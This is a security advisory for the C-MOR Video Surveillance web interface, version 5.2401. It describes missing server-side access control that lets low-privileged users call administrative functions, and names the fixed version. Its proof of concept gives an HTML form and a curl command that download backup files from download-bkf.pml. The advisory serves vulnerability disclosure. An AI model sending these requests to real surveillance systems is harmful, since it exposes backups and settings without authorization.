Product: C-MOR Video Surveillance
Manufacturer: za-internet GmbH
Affected Version(s): 5.2401
Tested Version(s): 5.2401
Vulnerability Type: Improper Access Control (CWE-284)
Risk Level: High

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
The software product C-MOR is an IP video surveillance system.
The manufacturer describes the product as follows:
"With C-MOR video surveillance, it is possible to check your
surveillance over network and the Internet. You can access the live
view as well as previous recordings from any PC or mobile device.
C-MOR is managed and controlled over the C-MOR web interface.
IP settings, camera recording setup, user rights and so on are set
over the web without the installation of any software on the
client."[1]
Due to improper or missing access control, low-privileged users can
use administrative functions of the C-MOR web interface.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
By analyzing the C-MOR web interface, it was found that different
functions are only available to administrative users.
However, access to those functions is restricted via the web application
user interface and not checked on the server side.
Thus, by sending corresponding HTTP requests to the web server of the
C-MOR web interface, low-privileged users can also use administrative
functionality, for instance downloading backup files or changing
configuration settings.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
In this example, a low-privileged user downloads backup files by
directly sending a corresponding HTTP POST request to the page
"download-bkf.pml".
For this, the following HTML code can be used:
<html>
<body>
<form action="https://<HOST>/download-bkf.pml" method="POST">
<input type="text" name="bkf" value="" placeholder="Please
insert the file name." /><br>
<input type="submit" value="Download">
</form>
</body>
</html>
This PoC attack can also be performed using the following curl command:
curl -X POST -d '<FILENAME>' --user '<USERNAME:PASSWORD>' --ciphers
'DEFAULT:!DH' https://<HOST>/download-bkf.pml
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Install C-MOR Video Surveillance version 6.00PL1.
